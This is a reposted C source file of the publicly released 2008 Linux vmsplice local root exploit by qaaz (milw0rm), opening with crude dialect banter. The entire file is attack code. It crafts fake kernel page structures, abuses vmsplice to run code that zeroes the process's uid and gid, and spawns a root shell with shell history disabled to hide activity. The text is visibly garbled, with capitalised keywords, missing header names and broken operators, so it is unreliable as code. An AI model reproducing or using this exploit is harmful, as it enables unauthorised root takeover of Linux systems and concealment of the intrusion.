CODE :/* * Jessica_biel_naked_in_my_bed.c * * Dovalim z knajpy a cumim ze Wojta zas SCN co robit, kura. * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. * Stejnak je to stare jak cyp a aj jakesyk rozbite. * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.17-2.6.24.1 * * This is quite old code and I had to rewrite it to even compile. * It shoshould work well, but I don't remeber original intent of all * The code, so I'm not 100% sure about it. You 've been warned ;) * *-Static-Wno-format */ # Define _ GNU_SOURCE # Include # Include # Include # Include # Include # Include # Include # Include # Include # Include # Include # Define _ KERNEL __ # Include # Define PIPE_BUFFERS 16 # Define PG_compound 14 # Define uint unsigned int # Define static_inline static inline _ attribute _ (always_inline )) # Define STACK (x) (x + sizeof (x)-40) Struct page { Unsigned long flags; Int count; Int mapcount; Unsigned long private; Void * mapping; Unsigned long index; Struct {long next, prev;} lru; }; Void exit_code (); Char exit_stack [1024*1024]; Void die (char * msg, int err) { Printf (err? "[-] % S: % s \ n": "[-] % s \ n", msg, strerror (err )); Fflush (stdout ); Fflush (stderr ); Exit (1 ); } # If defined (_ i386 __) # Ifndef _ NR_vmsplice # Define _ NR_vmsplice 316 # Endif # Define USER_CS 0x73 # Define USER_SS 0x7b # Define USER_FL 0x246 Static_inline Void exit_kernel () { _ Asm _ volatile __( "Movl % 0, 0x10 (% esp );" "Movl % 1, 0x0c (% esp );" "Movl % 2, 0x08 (% esp );" "Movl % 3, 0x04 (% esp );" "Movl % 4, 0x00 (% esp );" "Iret" : "I" (USER_SS), "r" (STACK (exit_stack), "I" (USER_FL ), "I" (USER_CS), "r" (exit_code) ); } Static_inline Void * get_current () { Unsigned long curr; _ Asm _ volatile __( "Movl % esp, % eax ;" "Andl % 1, % eax ;" "Movl (% eax), % 0" : "= R" (curr) : "I "(~ 8191) ); Return (void *) curr; } # Elif defined (_ x86_64 __) # Ifndef _ NR_vmsplice # Define _ NR_vmsplice 278 # Endif # Define USER_CS 0x23 # Define USER_SS 0x2b # Define USER_FL 0x246 Static_inline Void exit_kernel () { _ Asm _ volatile __( "Swapgs ;" "Movq % 0, 0x20 (% rsp );" "Movq % 1, 0x18 (% rsp );" "Movq % 2, 0x10 (% rsp );" "Movq % 3, 0x08 (% rsp );" "Movq % 4, 0x00 (% rsp );" "Iretq" : "I" (USER_SS), "r" (STACK (exit_stack), "I" (USER_FL ), "I" (USER_CS), "r" (exit_code) ); } Static_inline Void * get_current () { Unsigned long curr; _ Asm _ volatile __( "Movq % gs :( 0), % 0" : "= R" (curr) ); Return (void *) curr; } # Else # Error "unsupported arch" # Endif # If defined (_ syscall4) # Define _ NR _ vmsplice _ NR_vmsplice _ Syscall4 ( Long, _ vmsplice, Int, fd, Struct iovec *, iov, Unsigned long, nr_segs, Unsigned int, flags) # Else # Define _ vmsplice (fd, io, nr, fl) syscall (_ NR_vmsplice, (fd), (io), (nr), (fl )) # Endif Static uint uid, gid; Void kernel_code () { Int I; Uint * p = get_current (); For (I = 0; I <1024-13; I ++ ){ If (p [0] = uid & p [1] = uid && P [2] = uid & p [3] = uid && P [4] = gid & p [5] = gid && P [6] = gid & p [7] = gid ){ P [0] = p [1] = p [2] = p [3] = 0; P [4] = p [5] = p [6] = p [7] = 0; P = (uint *) (char *) (p + 8) + sizeof (void *)); P [0] = p [1] = p [2] = ~ 0; Break; } P ++; } Exit_kernel (); } Void exit_code () { If (getuid ()! = 0) Die ("wtf", 0 ); Printf ("[+] root \ n "); Putenv ("HISTFILE =/dev/null "); Execl ("/bin/bash", "bash", "-I", NULL ); Die ("/bin/bash", errno ); } Int main (int argc, char * argv []) { Int pi [2]; Size_t map_size; Char * map_addr; Struct iovec iov; Struct page * pages [5]; Uid = getuid (); Gid = getgid (); Setresuid (uid, uid, uid ); Setresgid (gid, gid, gid ); Printf ("----------------------------------- \ n "); Printf ("Linux vmsplice Local Root Exploit \ n "); Printf ("By qaaz \ n "); Printf ("----------------------------------- \ n "); If (! Uid |! Gid) Die ("! @ # $ ", 0 ); /*****/ Pages [0] = * (void **) & (int [2]) {0, PAGE_SIZE }; Pages [1] = pages [0] + 1; Map_size = PAGE_SIZE; Map_addr = mmap (pages [0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 ); If (map_addr = MAP_FAILED) Die ("mmap", errno ); Memset (map_addr, 0, map_size ); Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size ); Printf ("[+] page: 0x % lx \ n", pages [0]); Printf ("[+] page: 0x % lx \ n", pages [1]); Pages [0]-> flags = 1 <PG_compound; Pages [0]-> private = (unsigned long) pages [0]; Pages [0]-> count = 1; Pages [1]-> lru. next = (long) kernel_code; /*****/ Pages [2] = * (void **) pages [0]; Pages [3] = pages [2] + 1; Map_size = PAGE_SIZE; Map_addr = mmap (pages [2], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 ); If (map_addr = MAP_FAILED) Die ("mmap", errno ); Memset (map_addr, 0, map_size ); Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size ); Printf ("[+] page: 0x % lx \ n", pages [2]); Printf ("[+] page: 0x % lx \ n", pages [3]); Pages [2]-> flags = 1 <PG_compound; Pages [2]-> private = (unsigned long) pages [2]; Pages [2]-> count = 1; Pages [3]-> lru. next = (long) kernel_code; /*****/ Pages [4] = * (void **) & (int [2]) {PAGE_SIZE, 0 }; Map_size = PAGE_SIZE; Map_addr = mmap (pages [4], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 ); If (map_addr = MAP_FAILED) Die ("mmap", errno ); Memset (map_addr, 0, map_size ); Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size ); Printf ("[+] page: 0x % lx \ n", pages [4]); /*****/ Map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; Map_addr = mmap (NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 ); If (map_addr = MAP_FAILED) Die ("mmap", errno ); Memset (map_addr, 0, map_size ); Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size ); /*****/ Map_size-= 2 * PAGE_SIZE; If (munmap (map_addr + map_size, PAGE_SIZE) <0) Die ("munmap", errno ); /*****/ If (pipe (pi) <0) die ("pipe", errno ); Close (pi [0]); Iov. iov_base = map_addr; Iov. iov_len = ULONG_MAX; Signal (SIGPIPE, exit_code ); _ Vmsplice (pi [1], & iov, 1, 0 ); Die ("vmsplice", errno ); Return 0; } // Milw0rm.com [2008-02-09] |